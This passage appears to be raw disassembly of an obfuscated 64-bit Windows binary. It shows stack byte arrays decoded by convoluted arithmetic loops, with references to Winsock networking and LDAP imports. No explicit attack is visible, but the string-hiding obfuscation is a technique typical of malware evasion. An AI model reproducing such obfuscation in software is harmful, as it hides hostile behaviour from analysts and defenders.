mov byte [rbp + 0x7a1], 0xe2
mov byte [rbp + 0x7a2], Ordinal_217
mov byte [rbp + 0x7a3], 0xe0
mov byte [rbp + 0x7a4], 0xaa
mov byte [rbp + 0x7a5], 0x85
mov byte [rbp + 0x7a6], 0xef
mov byte [rbp + 0x7a7], 0xe9
mov byte [rbp + 0x7a8], 0xe5
mov byte [rbp + 0x7a9], 0xe1
mov byte [rbp + 0x7aa], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ab], gethostname
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7ac], xmm0
mov dword [rbp + 0x7bc], eax
mov word [rbp + 0x7c0], ax
mov byte [rbp + 0x7c2], al
movabs rsi, 0x1f78866185cb6a59
movabs r13, 0x879806662af14e35
movabs r14, 0x9f8b7979510576c7
movabs r12, 0x905b6cacfb22da5d
movzx r10d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14023d108]
mov r9, qword [0x14023d100]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009368d
movzx r11d, byte [rbp + rbx + 0x7a0]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140093681
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400927b3
lea rcx, [rbx + r13]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
sub r10b, 0x73
jmp 0x1400927f0
je 0x1400935f7
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009355b
lea rax, [r9 + 3]
cmp r8, rax
je 0x140093528
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400934c3
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009346b
nop dword [rax]
cmp r9, rbx
ja 0x140093675
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x140092825
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6f
add r10b, dl
jmp 0x140092870
lea rax, [r9 + 1]
cmp r8, rax
je 0x140093446
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009341b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400933e3
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400933af
lea rax, [r9 + 4]
cmp r8, rax
je 0x140093387
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x140092f19
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140092ef4
lea rax, [r9 + 2]
cmp r8, rax
je 0x140092ec7
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140092e9c
lea rax, [r9 + 1]
cmp r8, rax
je 0x140092e77
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x140092e3f
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140092e06
lea rcx, [r9 + 0x61]
cmp r8, rcx
je 0x140092ddd
lea rax, [r9 + 9]
cmp r8, rax
je 0x140092db4
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x140092d7a
lea rax, [r9 + 8]
cmp r8, rax
je 0x140092880
mov r8, rcx
lea r9, [rcx + 0x400]
lea rax, [r9 + 9]
cmp rcx, rax
jb 0x140093650
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x14009362b
lea rax, [r9 + 8]
cmp rcx, rax
jb 0x140092a74
lea rax, [r9 + 3]
cmp rcx, rax
jb 0x140092a55
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x140092a36
lea rax, [r9 + 2]
cmp rcx, rax
jb 0x140092d19
lea rcx, [r9 + 0x42]
cmp r8, rcx
jb 0x140092cba
lea rax, [r9 + 1]
cmp r8, rax
jb 0x140092c68
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x140092c39
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140092880
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 1]
cmp rcx, rax
ja 0x140092c04
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x140092be0
lea rax, [r9 + 0xa]
cmp rcx, rax
ja 0x140092bbc
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x140092b83
lea rax, [r9 + 9]
cmp rcx, rax
ja 0x140092b47
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x140092b21
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x140092af2
lea rax, [r9 + 0x400]
cmp rcx, rax
ja 0x140092ac0
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140092a9b
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x140092880
lea r8, [r9 + 0x80]
lea r9, [r8 + 5]
jmp 0x140092880
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x71
add r10b, dl
jmp 0x140092870
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x75
add r10b, dl
jmp 0x1400927f0
movabs rdx, 0x812b5fe0a5403df3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x5b
add r10b, dl
jmp 0x140092775
movabs rdx, 0xfbc4330c2e5b52c8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
jmp 0x14009348b
movabs rdx, 0xec94263fd878b65e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140092762
movabs rdx, 0xdd641973829619f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140092762
movabs rdx, 0xce340ca72cb37d8a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400934e3
movabs rdx, 0xbf03ffdad6d0e120
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
movabs rdx, 0xafd3f30e80ee44b6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
movabs rcx, 0xa0a3e6422b0ba84c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x14
jmp 0x14009357d
movabs rcx, 0x9173d975d5290be2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
jmp 0x1400935ad
movabs rcx, 0x8243cca97f466f78
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x48
movzx eax, byte [rbp + rbx + 0x7a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092762
movabs rcx, 0xdc4bacaaa88fe86f
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 9
mov byte [rbp + rbx + 0x7a0], r10b
inc rbx
jmp 0x140092762
movabs rcx, 0xcd1b9fde52ad4c05
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x23
cmp r9, 0x200
jb 0x140092c58
movabs rcx, 0x6928cb51c25291e
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_socket
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x14009348e
movabs rcx, 0xbdeb9311fccaaf9b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
cmp r8, 0x5a
jae 0x140093328
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400931cc
movabs rdx, 0x6eb20cb9c14b0cfa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140092c87
movabs rcx, 0xaebb8645a6e81331
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x57
lea rax, [r9 + r8]
cmp rax, 6
je 0x140093356
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400930a0
movabs rcx, 0x4f3986583b7fa2a1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x67
jmp 0x140092cd9
movabs rdx, 0xbcd3264922c47e16
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x7a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092762
movabs rdx, 0xada3197ccce1e1ac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400935ad
movabs rdx, 0x9e730cb076ff4542
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14009357d
movabs rdx, 0x8f42ffe4211ca8d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
movabs rcx, 0x8012f317cb3a0c6e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 2
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
movabs rdx, 0x70e2e64b75577004
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x1c
jmp 0x1400934e3
movabs rcx, 0x61b2d97f1f74d39a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x36
dec rbx
inc rbx
jmp 0x140092762
movabs rcx, 0x5282ccb2c9923730
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x50
inc r9
dec rbx
inc rbx
jmp 0x140092762
movabs rdx, 0x4352bfe673af9ac6
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6a
jmp 0x14009348b
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x140092f45
lea rdx, [rbx + r13]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x73
add r10b, dl
jmp 0x140092d38
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140092f8c
movabs rdx, 0x3ef10cc30b96d4b2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x7a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092762
inc rax
cmp r8, rax
jne 0x140092fc1
movabs rdx, 0x4e21198f6179711c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400935ad
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140092ff7
movabs rdx, 0x5d51265bb75c0d86
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009357d
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009303d
movabs rdx, 0x6c8133280d3ea9f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009306f
movabs rdx, 0x8ae14cc0b903e2c4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5c
jmp 0x1400934e3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140092d38
movabs rcx, 0xb8717325baabb802
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xe
jmp 0x14009348e
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400930d2
movabs rdx, 0x5e69932491623f0b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4d
jmp 0x14009348b
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140093103
movabs rdx, 0x8bf9b989930a1449
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
inc r10b
jmp 0x1400934e3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140093148
movabs rcx, 0x9b29c655e8ecb0b3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140093189
movabs rcx, 0xaa59d3223ecf4d1d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x35
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140092cd9
movabs rcx, 0xd7e9f9874077225b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7d
movzx eax, byte [rbp + rbx + 0x7a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092762
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140093213
movabs rdx, 0x7de21986172da964
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x7a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092762
inc rax
cmp r8, rax
jne 0x140093248
movabs rdx, 0x8d1226526d1045ce
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400935ad
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009328d
movabs rcx, 0xbaa24cb76eb81b0c
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x54
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400932be
movabs rcx, 0xc9d25983c49ab776
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
jmp 0x1400934e6
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400932f5
movabs rcx, 0xd90266501a7d53e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
dec rbx
inc rbx
jmp 0x140092762
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140092c87
movabs rdx, 0xf7627fe8c6428cb4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x14009348b
movabs rdx, 0x15c299817207c588
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x7a0]
add r10b, r11b
jmp 0x1400934e3
movabs rdx, 0x24f2a64dc7ea61f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
sub r10b, byte [rbp + rbx + 0x7a0]
add r10b, dl
add r10b, r11b
jmp 0x14009357d
movabs rdx, 0x89c8dff7defdb13f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x47
add r10b, dl
jmp 0x14009357d
movabs rcx, 0x7a98d32b891b14d5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
movabs rcx, 0x6b68c65f3338786b
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x13
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
movabs rcx, 0x4d08acc687733f97
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x21
dec rbx
inc rbx
jmp 0x140092762
movabs rdx, 0x2ea8932ddbae06c3
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x55
jmp 0x14009348b
movabs rdx, 0x104879952fe8cdef
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x77
add r10b, dl
movabs rcx, 0x8e2a931b47167753
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x45
add r11b, cl
mov byte [rbp + rbx + 0x7a0], r11b
inc r9
dec rbx
inc rbx
jmp 0x140092762
movabs rdx, 0xe2b853302e40f8b1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x29
add r10b, dl
movabs rcx, 0x9d5a9fe79cf913bd
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x2b
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0x7a0], r11b
add r8, r9
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
movabs rcx, 0xc4583997827bbfdd
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0xb
movzx eax, r10b
mov rcx, r15
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092762
mov r11, rdx
movabs rcx, 0xb5282ccb2c992373
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
sub r10b, 0x25
add r10b, cl
movabs rcx, 0xac8aacb3f2dbb027
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x11
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x7a0], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0x3422b31a1dccfe5c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x7a0], cl
inc r8
mov rax, r15
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x7a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092762
movabs rcx, 0x96c8133280d3ea9f
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x59
movzx eax, byte [rbp + rbx + 0x7a0]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092762
movabs rcx, 0x71fb53144f5da189
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x41
jmp 0x140092760
movabs rcx, 0x62cb4647f97b051f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x27
jmp 0x140092750
lea rcx, [rbp + 0x160933c]
jmp 0x140093694
lea rcx, [rbp + 0xd1e171]
jmp 0x140093694
lea rcx, [rbp + 0x7a0]
mov rdx, rdi
call fcn.140035b50
lea rdx, [0x140236b70]
lea rcx, [rbp + 0x220]
call fcn.140002660
mov rdx, rax
mov rcx, qword [0x14023cdc0]
call fcn.1400697f0
mov rcx, rax
call fcn.14006abf0
mov rsi, rax
mov byte [rbp + 0x7c8], __WSAFDIsSet
mov byte [rbp + 0x7c9], 0xb0
mov byte [rbp + 0x7ca], 0xc9
mov byte [rbp + 0x7cb], Ordinal_200
mov byte [rbp + 0x7cc], 0xa5
mov byte [rbp + 0x7cd], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7ce], 0xa5
mov byte [rbp + 0x7cf], 0xaa
mov byte [rbp + 0x7d0], 0x60
mov byte [rbp + 0x7d1], 0xb5
mov byte [rbp + 0x7d2], 0xa3
mov byte [rbp + 0x7d3], 0xa1
mov byte [rbp + 0x7d4], 0xa1
mov byte [rbp + 0x7d5], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7d6], 0xdd
mov byte [rbp + 0x7d7], reloc.WLDAP32.dll_Ordinal_79
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x7d8], xmm0
mov word [rbp + 0x7e8], ax
mov byte [rbp + 0x7ea], al
movabs r14, 0xa8243ae4f920dfc
movabs r12, 0xa7151551027d9984
movabs r13, 0xbe76643437dd676c
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x14023d108]
mov r8, qword [0x14023d100]
nop
xor edi, edi
movabs rcx, 0xf44f588e6550190c
cmp rdi, 0x23
jae 0x14009438b
movzx ebx, byte [rbp + rdi + 0x7c8]
mov r10, rbx
cmp r9, rdi
ja 0x14009437f
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400937e3
add rcx, rdi
mov rax, rcx
and rax, rbx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rbx
sub r11b, 0x54
jmp 0x140093810
je 0x1400942e9
lea rax, [r8 + 2]
cmp r9, rax
je 0x140094256
lea rax, [r8 + 3]
cmp r9, rax
je 0x14009421d
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400941ef
cmp r8, rdi
ja 0x140094373
lea rax, [r8 + 0x200]
cmp r9, rax
jae 0x140093848
lea rdx, [rdi + r14]
movzx eax, dl
and al, bl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093890
lea rax, [r8 + 1]
cmp r9, rax
je 0x140094198
lea rax, [r8 + 5]
cmp r9, rax
je 0x140094162
lea rax, [r8 + 6]
cmp r9, rax
je 0x14009413d
lea rax, [r8 + 2]
cmp r9, rax
je 0x14009411a
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400940f7
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rdi
jbe 0x140093d1d
nop dword [rax]
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x140093cfa
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x140093cc9
lea rax, [r8 + 8]
cmp r9, rax
je 0x140093ca0
lea rax, [r8 + 0x7a]
cmp r9, rax
je 0x140093c7d
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x140093c42
lea rax, [r8 + 2]
cmp r9, rax
je 0x140093c0f
lea r9, [r8 + 8]
lea r8, [r9 + 2]
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14009434b
lea rax, [r8 + 3]
cmp r9, rax
jb 0x140094323
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x1400939f6
lea rax, [r8 + 9]
cmp r9, rax
jb 0x1400939d7
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400939b8
lea rax, [r8 + 0x40]
cmp r9, rax
jb 0x140093b4c
lea r9, [r8 + 0x3e8]
lea r8, [r9 + 0x40]
lea rax, [r8 + 9]
cmp r9, rax
ja 0x140093b13
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x140093aeb
lea rax, [r8 + 4]
cmp r9, rax
ja 0x140093ac8
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x140093a90
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x140093a5a
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x140093a37
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x140093a23
lea r9, [r8 + 4]
lea r8, [r9 + 0x5a]
jmp 0x1400938a0
lea rdx, [rdi + r12]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093890
lea rdx, [rdi + r13]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140093810
movabs rcx, 0xd5d7b3176d3d3554
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x4c
movabs rcx, 0xf44f588e6550190c
jmp 0x1400937ae
movabs rdx, 0x82d4bb38e7500bb0
mov ecx, Ordinal_26
jmp 0x1400941fe
movabs rcx, 0x9a360a1c1cafd998
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x28
jmp 0x140094087
movabs rcx, 0xb19758ff520fa780
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x80
add r9, r8
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
movabs rdx, 0xc8f8a7e2876f7568
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
movabs rcx, 0xe059f6c5bccf4350
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x30
jmp 0x140094277
movabs rdx, 0xf7bb45a8f22f1138
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400942a5
movabs rdx, 0xf1c948c278edf20
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, byte [rbp + rdi + 0x7c8]
add rax, r8
add rdi, rax
inc rdi
jmp 0x140093792
movabs rcx, 0x8fb3c66dcd1dcb9c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
lea rax, [r8 + r9]
cmp rax, 4
je 0x1400940c7
lea rax, [r8 + 0x5a]
cmp r9, rax
jbe 0x140093e3c
movabs rcx, 0x36e819ee2415f7dc
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 4
cmp r9, 0x64
jae 0x14009405d
lea rax, [r8 + 0x10]
cmp r9, rax
jbe 0x140093f38
movabs rdx, 0x416a5d9c73a805d8
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
cmp r8, 1
jb 0x14009404d
movabs rcx, 0x579d48bc5de9fac8
add rcx, rdi
movzx eax, cl
and al, bl
mov edx, 4
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400941bb
movabs rcx, 0x853182bf7d8bbda0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
movabs rdx, 0x9c92d1a2b2eb8b88
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
add r9, r8
movzx eax, r11b
mov rcx, r15
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x140093792
movabs rcx, 0xb3f42085e84b5970
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x10
jmp 0x140094087
movabs rcx, 0xcb556f691dab2758
